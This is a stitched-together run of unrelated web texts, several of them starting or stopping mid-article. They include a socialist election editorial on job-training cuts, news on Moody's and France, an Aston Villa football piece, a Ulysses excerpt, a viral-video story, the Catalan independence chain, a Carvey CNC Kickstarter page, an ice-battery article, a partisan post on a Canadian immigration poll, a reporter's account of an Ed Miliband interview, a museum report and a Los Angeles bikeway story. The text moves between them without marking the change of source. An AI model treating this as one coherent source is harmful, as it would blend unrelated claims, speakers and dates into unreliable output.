On Monday, the New York Times reported that, in the midst of the gravest jobs crisis since the Great Depression, job training programs are being starved of funds due to spending cuts. Federal outlays for job training have been slashed by $1 billion since the 2010 fiscal year. Total spending on job training for unemployed workers is barely half the level of ten years ago, even though unemployment has more than doubled.
The article noted that in the Seattle region, job training centers had sufficient funding to train fewer than 5 percent of those who applied last year. In Dallas, officials said they had enough funds to assist only 43 people.
On the other side of the social equation, the Wall Street Journal reported the same day that the biggest US corporations, those listed in the Standard & Poor’s 500 stock index, have utilized the economic crisis and mass unemployment to emerge more profitable and competitive than ever, and to amass a cash hoard $1.2 trillion larger than in 2007.
As a result of downsizing, cost-cutting and the introduction of labor-saving technology, the Journal reports, these companies in 2011 generated an average of $420,000 in revenue for every employee on their payrolls, an increase of more than 11 percent from the figure of $378,000 for 2007. Over the same period, their net income rose 22.7 percent.
Small businesses, on the other hand, are being starved of credit by the banks and driven to the wall, increasing the domination of economic life by giant monopolies.
These indices show that the corporate-financial elite is using the crisis that erupted in 2007-2008 to carry out a historic reorganization of social relations. The centerpiece is the destruction of what remains of a social safety net and all of the past gains of the working class, and a sharp intensification of its exploitation. This process is not simply the result of impersonal and abstract economic forces. It is the outcome of definite class policies pursued by the Obama administration and the political establishment as a whole in the interests of the financial aristocracy.
What are the major features of the administration’s social and economic policies?
* An extension of the multi-trillion-dollar bailout of the banks.
* The introduction of wage-cutting in the 2009 auto bailout, which imposed an across-the-board 50 percent wage cut on newly hired workers at General Motors and Chrysler.
* A rejection of any government programs to create jobs or provide serious relief for the unemployed and victims of home foreclosures.
* No reform of the banking system and a refusal to prosecute the Wall Street criminals whose actions precipitated the financial crash.
* Further deregulation of corporations and new tax windfalls for big business disguised as “job-creation” measures.
This is the reality of the Obama “recovery,” which is essentially a recovery of corporate profits and a further enrichment of the financial oligarchy at one end, and a growth of poverty and exploitation at the other. As recently reported, a staggering 93 percent of new income went to the top 1 percent of earners in 2010.
This process will be intensified after the November elections, regardless of which of the two corporate-controlled parties claims the White House. Even as he postures as a populist, Obama is pledged to slash hundreds of billions of dollars in federal social programs, including food stamps, Medicare and Social Security, while cutting corporate taxes.
The working class must prepare its own alternative to the twin parties of big business, one that defends its social interests and rejects the entire framework of the profit system. The capitalist system cannot be reformed, it must be replaced by a system based on public ownership of the banks and corporations under the democratic control of the working population, and production for social need, not private profit, i.e., socialism.
This is the program being advanced by the Socialist Equality Party and its presidential and vice presidential candidates, Jerry White and Phyllis Scherrer. All those who want to fight in defense of the social rights of working people and youth and who see the need for a fundamental change should become active participants in the SEP election campaign.
For more information on the SEP campaign and to get involved, visit socialequality.com
Andre Damon and Barry Grey
Moody's, the ratings agency, issued a warning to France last night that it could face the loss of its coveted status as one of the world's most creditworthy nations after saying the euro debt crisis and slowing world economy left the country's AAA rating under pressure.
It said that while the French economy remained able to absorb normal shocks, "the government's financial strength has weakened, as it has for other euro area sovereigns, because the global financial and economic crisis."
The warning will come as a shock to many in France and is likely to unnerve markets already anxious at the prospect of the euro debt crisis spreading to the US and Asia.
Germany's finance minister, Wolfgang Schäuble, added to the uncertainty earlier in the day when he said detailed talks to solve the crisis were likely to go beyond a self-imposed deadline set for this weekend.
He also hinted that a rescue deal will fall short of the "big bazooka" that markets believe is needed to prevent the currency club breaking up.
Schäuble said a final package would not be in place until the G20 world leaders' summit in Cannes next month. His comments dismayed investors concerned that Berlin and Paris have failed to grasp the magnitude of the eurozone's debt crisis.
Stock markets in London, Paris and Frankfurt fell, while in New York the Dow Jones industrial average plummeted 247 points by the close of trading. A two-month flight of cash from European banks accelerated, according to analysts, while fears grew earlier that ratings agencies were poised to downgrade French sovereign bonds, increasing the difference between France's borrowing costs and those of Germany to the highest level since 1995.
Oil prices, which had steadied after recent falls, turned downwards again and the euro fell against the dollar as investors sought safe havens.
David Jones, chief market strategist at IG Index, said: "German officials clearly decided that a degree of expectation management was needed, and a statement was made warning that if anyone expected a package to be in place by next Monday then they were setting themselves up for disappointment."
Markets were at fever pitch after the French president, Nicolas Sarkozy, and German chancellor, Angela Merkel, said at the weekend that they would reveal a rescue plan this Sunday at a crucial European council meeting.
The US treasury secretary, Tim Geithner, warned at the weekend it was crucial to agree a package of measures that would reassure markets and end 18 months of wrangling over how to deal with Greek debts.
EU policymakers are due to meet this weekend in Brussels ahead of the G20 conference in Cannes on 4 November hosted by Sarkozy. The chancellor, George Osborne, said the Cannes meeting would be crucial in determining whether the global economy could maintain growth. "The biggest boost to growth across the world – and for Britain – would be a resolution to the crisis in the eurozone. Maintaining the momentum towards that will be the focus of my discussion with my international counterparts."
Britain has ruled out participating directly in funding any scheme, though it is likely to become involved in a broader backstop plan put forward by the International Monetary Fund.
Andrew Tyrie, the Conservative party chair of the Treasury select committee, said British taxpayers would object to involvement in a bailout for Greece. "There should be no mistaking how strong opposition would be both in parliament and in the country at large to British participation in a bailout," he said.
Schäuble, speaking at a meeting in London, appeared to back away from his leaders' assurance that the European council meeting in Brussels was make or break. He hinted that markets may need to wait longer before the talks were completed.
He has placed a transaction tax on derivatives trading at the centre of proposed reforms, along with a series of measures to calm market volatility, discourage excessive borrowing and persuade citizens protesting in European capitals that politicians are aware of their concerns.
He laid out a four-point plan that Germany believes will resolve the situation and create a sustainable future for Greece and the rest of the eurozone. He said a bailout deal involved:
• Securing systemically important banks with increased capital.
• Enhancing the European Financial Stability Facility "in a flexible way that is most efficient".
• Finding a sustainable solution for Greece.
• Establishing better governance for the eurozone.
Nick Parsons, head of research at National Australia Bank, said: "The impression he gave was that solutions to the European sovereign debt crisis would be found and they would be workable if properly enforced.
"However, his strong insistence on bank recapitalisation and a restructuring of Greek debt suggests this will not be a painless or a quick outcome. More importantly, he is defending the German approach to the debt crisis and is very robust when talking about the failings of financial markets and the need for fresh regulation.
The Holland international had been widely expected to leave Villa Park as a free agent and was linked with several Premier League clubs including Manchester United and Southampton. However, having recovered from several injury setbacks to play a commanding role in Villa’s progression to the FA Cup final, and witnessed a change around the club since Sherwood replaced Paul Lambert as manager in February, he admits he could be persuaded to stay.
Jack Grealish in Aston Villa dreamland with FA Cup final date in diary Read more
Following a dominant display in Villa’s semi-final victory over Liverpool at Wembley, the 30-year-old said: “Yes it is possible [I could stay]. Things have changed for me in the past few months since Sherwood took over. It’s been a hard season for me with all the injuries. Now I just want to play and be important for the team. This helps – you can trust me on that.
“I don’t know about my future but to be part of this feels so good. To feel the joy and relief after the West Brom game when so many people came on the pitch. The impact for the fans, how big it is for this club and what it all means. I called my dad and said ’This really means something!’ It’s great. Everything helps.”
The final against Arsenal on 30 May could be Vlaar’s last game for Villa but the defender insists he is open-minded about his future. He added: “ Maybe it will be my last game but I don’t know. It’s hard to say. I want to win it anyway, no matter what, for the team, for the club, for the fans and for myself. Then we will see what happens. It’s not something to think about right now. This feels really great and I also feel things have changed at the club. You never know. I can’t tell anyone too much about it right now.”
Sherwood’s team still have to secure their Premier League status with Villa only four points clear of the relegation zone with five matches remaining, but Vlaar believes confidence will soar after the Liverpool result.
He said: “Things change in football. It wasn’t so good earlier in the year but that’s football. It’s crazy but it’s also a fact. The new manager came in and we all felt it was a new start. It’s never good when someone has to go but it felt like a fresh start. We started to play better, the results got better and the only thing that gives you confidence is winning games so this win will give us another massive boost.
She trusts me, her hand gentle, the longlashed eyes. Now where the blue hell am I bringing her beyond the veil? Into the ineluctable modality of the ineluctable visuality. She, she, she. What she? The virgin at Hodges Figgis’ window on Monday looking in for one of the alphabet books you were going to write. Keen glance you gave her. Wrist through the braided jesse of her sunshade. She lives in Leeson park with a grief and kickshaws, a lady of letters. Talk that to someone else, Stevie: a pickmeup. Bet she wears those curse of God stays suspenders and yellow stockings, darned with lumpy wool. Talk about apple dumplings, piuttosto. Where are your wits?
A video of her emotional reaction to the news has been seen millions of times around the world.
But before the tears started flowing, Andrea Tomlin said she and her daughter, four-year-old Abella, were in the car.
“We were listening to the DNC. I was listening to Michelle Obama's speech and my daughter asked me what was going on,” said Tomlin.
She explained to Abella that President Obama is serving his last term.
“She just thinks he's great. She loves him,” Tomlin said.
She said she parked her car and and turned around to check on her daughter.
“There were tears streaming down her face,” recalled Tomlin.
Shocked, she grabbed her cellphone, hit record and asked Abella what was wrong and what she could do to help.
“If we could watch a movie that would make me feel better and if you cuddle me at naptime that would make me feel so much better,” Abella suggested in the video.
The little girl was beside herself.
“Why are you so sad?” asked Tomlin.
“Because I miss Barack Obama,” responded Abella.
Tomlin posted the video to her Facebook page and it exploded. It was shared over and over, around the world.
“We were stunned and we've been stunned at the response to it to be honest. It's craziness,” she said.
While a lot of people reacted positively, others haven’t.
“Some people just said gosh what a horrible mother would do a setup like this and the reality is there was no setup. I would never do that to my child,” said Tomlin.
In the video, Abella even weighs in on Hillary Clinton.
“You think Hillary is going to be as good a president?” asked Tomlin.
“I think so,” Abella said.
Many people are also asking what little Abella has to say about Donald Trump.
“They say all this about what does she think about Trump and x, y, z, and we don't do that. I mean she's four,” Tomlin said.
But Abella already has a plan for when the next president takes office.
“She said she's going to pretend like he's [Obama] still the president and I said yep denial works sometimes,” laughed Tomlin.
The family listens to the president's speeches, they've read his children's book and are admittedly big fans.
But Tomlin said her daughter is not normally this emotional.
"But this year it is more special than ever."
She was doing a roaring trade at her souvenir stall in the main street of the town, a pro-independence stronghold.
Catalans of all ages flocked to the demonstration, buying her t-shirts and pro-independence flags — yellow and red stripes intersecting a white star on a blue background.
On a nearby square, under rainy skies, a band with pipes and drums played "sardanas" — traditional Catalan folk tunes.
Perched in hills overlooking the Mediterranean on Spain's northeastern coast, Arenys de Munt was the first of hundreds of towns that held non-binding votes on Catalan sovereignty in 2009.
On Wednesday townsfolk planned to head down the hill to the neighbouring seaside village of Arenys de Mar to link arms in their section of a "human chain".
The chain, named the Catalan Way, was due to link 86 towns and villages over 400 kilometres (250 miles) along the coast to push for a referendum on political self-determination for Catalonia in 2014.
The protest aims to generate international media coverage of the referendum drive, which is staunchly resisted by Spain's central government.
"I hope that people outside will listen to us, because there is no chance of that in Madrid," said Montserrat Sal, a demonstrator in her 70s, knitting in the street with a group of other women.
At Forn's stall, a woman bought a flag bearing the slogan "We are a nation" for her son, who wrapped it proudly around his neck.
"Everyone here owns an independence flag, but they buy new ones as replacements," said Forn, 53.
Nearby, Albert Sole and his two children strolled along dressed in the yellow shirts distributed by organizers of the Catalan Way.
"I didn't use to be for independence. I have become radicalized over time," said Sole, 46, a teacher.
"I have always felt Catalan but now it has got to the point where the economic suffocation is so great that pro-independence feelings are aggravated."
He and his family planned to go along with various uncles, aunts and grandparents to their section of the chain, where they must be in position at 5.14 pm (1514 GMT).
The timing is a reference to the year 1714, the date of a military defeat which for many Catalonian nationalists marked the beginning of three centuries of oppression by the Spanish state.
Pro-independence feelings have been fanned in recent years as the region, considered a key driver of Spain's economy, has suffered in the country's recession, with the unemployment rate rising close to 24 percent.
Across Catalonia, like-minded demonstrators braved the cold drizzle to join the protest on Wednesday.
Flags flew from cars and coaches along the highway and horns sounded as people travelled to join the chain at various points.
In Barcelona, the region's capital, 54-year-old community worker Merce Juan Rodriguez was setting off in the morning on the 160-kilometre drive south to bolster the chain in El Perello, a less densely populated area.
Her husband is originally from the distant northwestern region of Galicia and her two cousins from Cadiz in the south, but as adoptive Catalonia residents, they too are joining in.
"It is not a question of blood, it is a question of culture. They don't respect us," said Rodriguez, echoing a common Catalan complaint about the rest of Spain.
She wore a yellow t-shirt and held a banner bearing the slogan "One metre closer to freedom", in Catalan and English.
In the centre of Barcelona, Joan Sabate admired the multitude of red and yellow flags hanging from balconies over the street.
"It was about time we did something like this," he said.
"I am 81 years old and I never thought I'd see independence in my lifetime, but now I am hopeful and I think I will."
Carvey is a 3D carving machine that allows you to make quality objects out of a variety of materials including wood, metal and plastic. Using Carvey and our free design software, you can make your idea a reality in three easy steps. First, design your product using our software, next choose your material, then click carve. Carvey will cut your design, giving you the power of creation right from your tabletop. Carvey is the next step in 3D manufacturing.
Step 1: Create your design
Carvey comes with Easel, our free design software that lets you design in 2D and view in 3D, instantly. What you see on the screen is what you get from the machine.
Easel runs in a web browser and controls Carvey. With it you can carve your own design, a design you’ve imported, or a file from our library of projects that other Easel users have created and shared.
Easel isn't the only software that works with Carvey. You can also use your favorite CAD, CAM, and machine control software to have Carvey carve out complex 3D shapes.
Easel, by Inventables. A design tool we built for Carvey.
Step 2: Choose your material
Easel's built-in material library handles all the machine control settings, so you get it right the first time. Preview your project in the 3D viewer in dozens of materials, in real time. Pick the right material and carve exactly what you imagined without having to worry about technical details like bit size and feed rate.
Carvey works with dozens of materials, including:
Hardwoods like walnut, maple, and mahogany
Softwoods like pine and balsa
Cork
Plywoods and MDF
Soft metals including aluminum, copper, brass, silver and gold
Circuit boards
Plastics like acrylic, HDPE, Delrin, Corian and PVC
Waxes and foams
Linoleum and other stamping materials
Step 3: Click Carve and make real products and prototypes
Connect Carvey to your computer via USB, click “Carve”, and Carvey does the rest. Sit back and watch as Carvey cuts or engraves your design. Carvey enables you to create real objects, with the same level of quality as what you see on store shelves such as:
Silver jewelry by Rock and Beam
Acetate and wood sunglasses by DRIFT Eyewear
Aluminum and walnut headphone amplifier by ECP Audio
Speakers made from medium-density fiberboard (MDF)
Address sign made from walnut and silver metallic acrylic sheet
Circuit board and electronic enclosure made from pearlescent acrylic and baltic birch
We're getting some questions about 2.5D vs. 3D. Carvey is capable of creating 3D objects like this topographical map of Golden Colorado but at this time Easel only supports 2.5D. To create a full 3D object you'll need your favorite CAD/CAM and machine control software.
Carvey can produce full 3D but Easel currently only supports 2.5D
In this video we demonstrate how easy the process is and carve a jig saw puzzle.
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sound 00:00 00:00
How we got here
We’re dedicated to empowering people to turn their ideas into real objects. In 2010, it was difficult for hobbyists and independent designers to buy high-quality materials in small quantities, so we opened an online store with the stuff that makers need. Then we realized that the existing software for making was complicated and finicky, so we created Easel to make the process easy and fun. Today we believe that the one missing piece is a reliable, safe and easy-to-use machine for making beautiful things with real materials.
A beautiful machine to make your mark.
We designed Carvey for makers and designers of all levels, from artists and teachers to architects and engineers. We want Carvey to blend seamlessly into an office, a workshop or a crafting desk, and be so simple to use that anyone can incorporate it into their practice.
To that end, we teamed up with Scott Wilson and the team at MNML to design a machine you're proud to have on your desktop. We built in some nifty features:
Automatic calibration so you can click “Carve” to start
Case design makes the machine so quiet you can talk on the phone while it's running
Seamless integration with Easel software for easy workflow from design to finish
Color-coded bit system simplifies multi-cut jobs
LED lighting inside the case to keep you aware of progress
What does your Kickstarter reward look like?
Here’s our progress so far:
Spent the last year and a half designing and testing three generations of working prototypes
Engineered the machine to be mass-manufactured
Obtained quotes from the manufacturer
Did extensive user-testing on the software and machine to make it reliable, easy and awesome
All we need is that final push to get a round of engineering verification prototypes in a pilot production run, followed by full-scale manufacturing of the finished machine to get every Carvey delivered as soon as possible. We take these last crucial steps seriously, and we’ll need your support to do the job right. We’re in talks with one of the largest contract manufacturing companies in the world to help us do it the right way the first time. We’ve turned to Kickstarter to get the production lines up and running. With your help we can order materials and components at scale and bring Carvey into the world. We hope to get your thoughts, opinions, and ideas on how we can build our Carvey community.
If you decide to pitch in, you’ll be part of history, being one of the first to have a Carvey on your desktop if you chose that reward. You’ll play a huge part in starting the digital manufacturing revolution by providing your feedback and creating amazing things. We hope you are as excited as we are. Your feedback is invaluable. We can’t wait to hear what you think and what you want to design.
Production Timeline
Technical Specifications
Machine Footprint: 24" x 24" x 18” (61cm x 61cm x 46cm)
Work Area: 12” x 8” x 2.75” (30cm x 20cm x 7cm)
*Repeatability 0.001" to 0.003"
Run out: .0006" (.01524mm)
Spindle RPM: 3000-12,000 (300W)
Weight Approx: 60 lbs. (27kg)
Materials it Can Cut: wood, soft metals, foam, plastics, circuit boards
Connectivity: USB Port
Computer System Requirements: Chrome web browser, 64 bit Mac or Windows, USB Port.
*In the update on precision we showed a video and stated repeatability on X and Y were 0. The use of significant digits was wrong. If you measure something with a wooden ruler and it is an inch wide you say 1 inch. If you measure with a caliper you might say 1.000 inch. Saying "0" implies it could be rounded by as much as 0.500"
While the eye can see the pointer only moved about a 1/5th of a tick on the scale, that does not mean the tool is that accurate.
The accuracy number we can provide is 0.001" to 0.003". We do not guarantee all units will leave the factory at 0.001" on all axes even though our prototype unit did.
We have now changed the resolution spec to a repeatability spec because resolution is a math formula resulting in steps/inch. Repeatability is actually measured directly and takes into account stiffness and backlash of the machine.
The Carvey Team
Carvey is a collaboration between:
Zach Kaplan and the Inventables team, who are dedicated to removing the barriers to digital manufacturing and developing new tools for innovation.
Master maker Bart Dring was the chief engineer on the project. He designed the ORD Bot 3D printer, the open-source linear rail system MakerSlide, as well as open-source laser cutters, and other CNC router designs like the Bridgie and Delta Router. He also makes his own longboard skate decks for fun.
MNML, design firm behind many innovative products including the LunaTik+TikTok Kickstarter project and the Xbox 360.
Special thanks to Greater Good Studio, Logan Share, Catalyze Chicago, Paola's Vinum, The Post Family, Simple Honest Work, ECP Audio, Winston Moy, Lane Tech High School, Gemini Club, and Drift Eyewear.
Show the world the maker revolution is real.
(Click to enlarge)
Ice Energy's Ice Bear 30 unit. Image: Ice Energy.
The Southern California Public Power Authority (SCPPA), an organization of the municipal utilities of 10 cities and one irrigation district is placing the order with the systems to be installed at consumer’s homes in a pilot program.
The battery storage market is booming – literally growing by several hundred percent annually over the last few years – in large part because traditional utilities are excited about the opportunity to avoid costly investment in new peaker plants. Using home battery storage systems enables these firms to defer that investment.
The ice battery systems are slated to be installed in about 100 homes with each 9.6kW system replacing the outdoor condensing units of homeowners’ air conditioning systems. Ice Energy’ batteries in off-peak (low energy cost) periods use copper coils filled with cold refrigerant to create ice from the homeowner’s regular tap water.
Once the ice is created, the residential Ice Bear 20 can cool a home continuously for four hours, and the company says that can save 95% of associated electricity costs compared with traditional HVAC units. The firm also has a large Ice Bear 30 for commercial customer. The system is particularly beneficial in states with large time of use differences in electricity pricing such as northeastern states like Connecticut and west coast states like California.
Utilities like those in the California alliance benefit from reduced peak load demand thus avoiding the cost of buying peak wholesale power or (eventually) building new peaker plants.
Ice Energy is not the only firm in the market for ice batteries though. Competitor Viking Cold reported last year that a California utility was interest its products to help counter the challenge the “duck curve” of solar energy energy supply and demand.
The ice battery is just one of the new concepts on the market at this point. For instance, Harvard recently announced that one of its faculty members had developed a liquid battery with up to a decade of life.
The new battery reportedly loses only one percent of its capacity every 1,000 charging cycles, and is potentially an alternative to high power short-lived lithium ion batteries which are the de-facto standard in many applications today. Related: Why Sub $50 Oil Is More Likely Than $70 Oil
An electrolytic solution of ferrocene and viologen powers the battery and is dissolved in water making it safe and extremely long-lived.
“Because we were able to dissolve the electrolytes in water, this is a long-lasting battery that you could put in your basement,” said Roy Gordon, professor of chemistry and materials science at Harvard University who co-led the research. “If spilt on the floor, it wouldn’t eat the concrete and since the medium is noncorrosive, you can use cheaper materials to build the components of the batteries, like the tanks and pumps.”
Taken together, the ice battery and liquid battery paint a picture of an evolving storage market developing quickly in response to the need for utilities to avoid the costs and risks associated with endemic problems with traditional methods, most prominently time of use consumption challenges. It’s an exciting time in a market that industry participants across the energy sector should be keeping an eye on.
(Full Disclosure: The author has done consulting work on battery economics with several firms in the battery storage industry.)
By Michael McDonald of Oilprice.com
A new CROP poll released Monday indicates growing support for a “Trump-style” populist candidate in Canadian politics as well as a growing suspicion of Muslim immigrants. The internet poll surveyed 2,513 people across Canada, including 1,024 Quebecers, and was conducted over four days in January, including the day of the infamous Quebec City Mosque shooting. The good news for Conservative Party of Canada leadership candidate Kellie Leitch and her “Canadian values” campaign: three-quarters of those polled are in favor of vetting new immigrants with a Canadian values test to determine their ideology on basic equality issues. The Canadian mainstream media and even some of Leitch’s Conservative colleagues consistently suggest that Leitch is “extreme” or out of step with mainstream Canadians with her values test.
What’s really fascinating in the results of the survey is the fact that Canada’s conservative party candidate is pushing for some sort of “Canadian values test” for new immigrants. Much like we’ve seen in the United States, the media talking heads and liberal politicians were quick to set their hair on fire and describe such a plan as being both “extreme” and out of touch with Canadian values. But if that’s the case, how is it that fully three quarters of the people in the country are on board with the idea?
Granted, a strong majority of Canadians are quick to bat down any idea which might be portrayed as “Islamaphobia” in any way, and they also agree with the statement that immigrants enrich Canadian culture. But once again, there is a nearly matching, parallel story taking place in the United States. The reality is that there are a few reasonable people I’ve heard of who are opposed to legal immigration and we have always adopted aspects of other cultures into our own when it comes to things such as food, music, clothing or even religion. But that process of “adoption” has always been a voluntary one, where we pick and choose the things that we like and make our own. Sadly, this turns into a useful device for liberals and the media (but I repeat myself) to conflate any opposition to illegal immigration and a subversion of traditional American interests with the normal, welcome effects of legal immigration described above.
Buggins’ turn for me was a round of interviews at Westminster, hoovering up political reaction to the public sector strikes. Ministers drift like smoke around the corridors of 4, Millbank where the broadcasters have their offices, and you grab them on the stairs or the landing. We found Francis Maude and he said his piece obligingly, but we had to be quick: at nine was a sit-down interview with Ed at his office in Portcullis House and we scampered across to find him. The interview was a `pool’ arrangement - to be shared by the three main broadcasters to save time and resources - and I’d been named to do it for ITV News.
There is an etiquette involved in pooling, which everyone understands. Ask the obvious question, and get the obvious answer. Don’t try to be too clever or esoteric, either with your questioning or your camerawork. Make sure the material is usable by everyone (reporters: stay out of shot) and relay it as soon as the interview is done.
To me it seemed simple enough. But I hadn’t bargained with the team of three handlers waiting for me in the Opposition Leader’s office.
They demand control of the interview location. Well… OK, we are in Ed’s office, fair enough. They want him in front of his bookcase, with his family photos over his left shoulder. Er… sure, is he going to be long? We are running late.
It isn’t that unusual for political PRs to demand control over the composition of an interview shot. I gather that David Cameron’s people will never let him be filmed in front of anything expensive, or ornate, or strikingly Etonian. But it isn’t until our shot has been checked by all three press officers – all peering into our viewfinder and offering helpful advice about framing and depth of field (a term they turned out not to understand, as my cameraman Peter Lloyd-Williams triumphantly established) that we turn to the topic: `What questions are you going to ask?’
I hate being asked that. Partly, because it is none of their business. But mostly, if I am honest, because I don’t really know. I don’t have an interview `technique’, and this lack of technique has been honed constantly since my earliest days of not using it at the Bermondsey News. Its absence never troubled me until yesterday. You see, getting a `grab’ for a television report is a simple enough business. You say the first thing that comes into your head. The interviewee responds with the first thing that comes into his head. And you take it from there. Almost like, well, a conversation.
But when your interviewee has only one answer, and repeats it back to you whatever you say, things go downhill very fast.
Ed Miliband thinks that the strikes are wrong at a time when negotiations are still underway. The government has acted in a reckless and provocative manner, but it is time for both sides to set aside the rhetoric and get around the negotiating table and stop this from happening again.
I know this because he told me six times. His PR must have known that was what he was going to do. And yet he still went through a convincing charade of pressing me on my line of interrogation, urging me to keep my questions brief, and even – this was a macabre touch – placing a voice recorder on the table beside me as a kind of warning not to try and misquote his boss.
As it turned out, the first take was drowned out by a passing siren on the Embankment, but seemed like a thoughtful and precise position for a Labour leader to take. Clear in his condemnation, hopeful of a negotiated settlement. Not partisan, but engaged. Detached, but not aloof.
The second time it seemed like a less original statement. The strikes are wrong… the rhetoric has gone too far… parents across the country…But then, I’d heard it before and it was useful to have a clean version, unspoiled by a siren.
The third time… the third time I was struggling a little bit. I’d asked him how his opposition to the strikes fitted with his position as leader of the Labour movement. I thought it was quite a clever question. Silly me. The strikes were wrong at a time when negotiations were still underway. The government had acted recklessly. It was time for rhetoric to be set aside.
Some reporters like to have their questions written on a piece of paper, and tick them off one by one as they are asked. It’s something I’ve never done, but at this moment I wished fervently that I had a piece of paper in my hand, just to give me something to look at, and scratch away thoughtfully just buy some time.
I asked another question. Something about Francis Maude, and his tone of conciliation. Not very good, I know, but the best I could manage. Get him to say something about Francis Maude, I was thinking… his hairstyle, his glasses, the way he peers over the top of them as he drones on, anything, just stop already with the strikes are wrong while negotiations are underway, and the rhetoric has got out of hand…
I’m not sure what I asked next. Frankly I was in danger of losing it. On my own, with the eyes of Ed Miliband and his three handlers boring into me but apparently oblivious of my presence, I was getting twinges of what I can only describe as existential doubt. So I said some words. And Ed told me that the strikes were wrong, and the rhetoric was out of hand, and both sides needed to sit down…
That was the worst one, I think.
If news reporters and cameras are only there to be used by politicians as recording devices for their scripted soundbites, at best that is a professional discourtesy. At worst, if we are not allowed to explore and examine a politician’s views, then politicians cease to be accountable in the most obvious way. So the fact that the unedited interview has found its way onto YouTube in all its absurdity, to be laughed at along with all the clips of cats falling off sofas, is perfectly proper.
Afterwards, I was overcome with a feeling of shame. I couldn’t look him in the eye.
But before I dried up completely, and had to be led out of Westminster with my mouth opening and shutting, I had an opportunity to ask one last question. I had an urge to say something so stupid, so flippant that he would either have to answer it, or get up and leave. `What is the world’s fastest fish?’ `Can your dog do tricks?’ `Which is your favourite dinosaur?’ But, of course, this was a pool interview, and I had no wish to feed out the end of my television career to Sky and the BBC.
I realise now, of course, the perfect question to ask, to embarrass him and to keep my job. I should have asked was whether the strikes were wrong, whether the rhetoric had got out of hand, and whether it was time for both sides to get round the negotiating table before it happened again.
Because that was the only answer I ever got.
Now, through a joint venture with Google Inc., people from around the world can examine the ancient Neolithic artifact, which the museum says is the oldest in the world, in greater detail than ever before with a simple click of a mouse from the comfort of their own home.
The mask is just one of 520 objects made available as part of the museum’s partnership with the Google Art Project, an online compilation of high-resolution images of artwork from galleries worldwide, as well as a virtual tour of the museums using the high-tech giant’s Google Street technology.
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The Israel Museum was among 151 museums in 40 countries taking part in the second wave of the project on Tuesday. It was first launched last February in just 17 museums, including the Tate Gallery in London, the Metropolitan Museum of Art in New York City, the Uffizi in Florence, the Art Institute of Chicago and the Van Gogh Museum in Amsterdam.
“We can take the experience of our Israel Museum worldwide, we can give people far away who will never get here a chance, palpably, to feel what this place is about and we will give plenty of people who plan to come here an advance opportunity to get a handle on what this experience is about,” said museum director James Snyder.
Other items included are the interior of the 18th-century Vittorio Veneto Synagogue in Italy, Claude Monet’s famous “Water Lilies” painting and the Bronze Medallion of Titus — a rare coin that depicts the Colosseum in Rome.
The project follows last year’s collaboration with Google to make the museum’s famed Dead Sea Scrolls accessible to all online. The site drew a million viewers within a few days by allowing the public to explore these ancient biblical texts in greater detail than what was possible in person.
The Google Art Project creates a similar experience. With images larger than a gigapixel (1 billion pixels) in size, the zoom-in feature allows viewers to get inside cracks in the parchment and other details that are not visible to the naked eye.
For instance, in Peter Paul Rubens’ masterpiece “The Death of Adonis,” the technology allows the viewer to focus on a tear on the cheek of Venus that isn’t obvious when facing the actual piece.
But Snyder said the virtual viewing would not detract from an actual visit to the museum. On the contrary, he said.
“It just makes your museum experience less daunting, it opens you more to what the experience can do for you,” he said. “It begins to allow you to develop familiarity not just with an image but with context.”
He lauded Google, which spent months mapping the museum with cameras mounted atop bicycles.
More than 30,000 high-resolution objects from museums around the world are now available for viewing, up from the original 1,000 when the project was first launched. Items can be found by location, artist, collections and more.
“Connecting the content of the world to users, that is part of our mission,” said Yossi Matias, managing director of Google’s R&D Center in Israel. “The resolution of these images, combined with a custom built zoom viewer, allows art lovers to discover minute aspects of paintings and other objects they may never have seen up close.”
The project is just the latest in a long line of collaborations between Google and Israel. The tech giant has a large R&D center in Israel, has purchased several Israeli startups.
Google has also teamed up with Israel’s Holocaust memorial, Yad Vashem, to make its photographs and documents interactive and searchable on the Internet. Yad Vashem also launched a YouTube channel, in collaboration with Google, with more than 400 hours of original video footage from the landmark 1961 trial of Nazi mastermind Adolf Eichmann.
"The Arroyo Seco has this great bikeway on it. It's the best piece of bike infrastructure in Northeast Los Angeles and it can really connect us to the city if we let it," says Moreau. "The funny thing about it is that chain link fences run all along the path; when you also realize that it's the same path that is also lined with parks, you begin to see how strange that is."
Moreau astutely points out that the bikeway allows cyclists to speed through one point to another, but doesn't allow them to really enjoy the amenities that are just over the chain link fence -- amenities such as Debs Park in Montecito Heights, the Hermon Dog Park in Highland Park, all the way to the Arroyo Seco stables in South Pasadena.
The path could even go beyond the neighborhood, says Moreau. Horse trails on the north side go from the Arroyo Seco through Pasadena and into the foothills, all the way up to the Angeles National Forest. On the south side, the bikeway could go all the way to Los Angeles' downtown -- an idea that's been around for more than a hundred years.
Photo: Courtesy of Jack Moreau
At the turn of the 20th century, Pasadena mayor Horace Dobbins envisioned the California Cycleway, a nine-mile elevated bicycle path with easy grades that would connect Pasadena's Hotel Green to Los Angeles Plaza. The project, which was projected to cost a hefty $200,000, would have been funded through 10-cent tolls from cyclists using the bikeway. The advent of the automobile, however, heralded the demise of such an ambitious project. Only 1.25 miles was ever built of the 9-mile path, and four decades later the Pasadena Freeway took over much of its right of way.
But such dreams of a bikeable neighborhood continues to be resurrected. After major floods had resulted in a cemented Arroyo Seco, the County of Los Angeles built a path on the riverbed in 1983, as an experiment in joint use of flood control facilities. But unlike the modern day bike path proposed for downtown, the Arroyo Seco path is just that -- a path with no six-inch elevation above the riverbed to allow for water flow. As a result the path can be slippery with algae on a particularly wet day, and dangerous during heavy rains; nonetheless, it continues to be a scenic place that holds a lot of promise.
That promise was glimpsed back in June of 2003 when the river-adjacent Pasadena Freeway was closed to car traffic and over 3,000 cyclists and several thousand pedestrians took over, for the much talked about ArroyoFest. The reclaiming of the Arroyo Seco for recreational use was a topic in many people's minds during the event.
"That's exactly what we want to aim for. There's so much room in the riverbed, you could have festivals right down there," says Moreau. "The goal is to inspire people with something like that, to see the potential. But the first step is just increasing access to it."
A transportation planner for Metro by day (he's currently arranging the festivities for this year's Bike Week), Moreau is used to seeing potential for non-motorized ways of getting around. "We're always looking at how we move around the city and trying to find alternatives to driving alone in the freeways," says Moreau. It isn't so strange that this Highland Park resident suddenly saw the opportunity right in his backyard.
Photo: Courtesy of Jack Moreau
Moreau sees a lot of wasted opportunities in this part of the neighborhood. He says that access points to the parks from the bikeways are few and far between, despite the community obviously wanting more. During his research he found many clandestine access points carved out by the community. "There are four or five legal access points that are so far apart," he says. "There are about ten to fifteen more holes just cut on the wall. Clearly people want access and we shouldn't have to go through these means to get it."
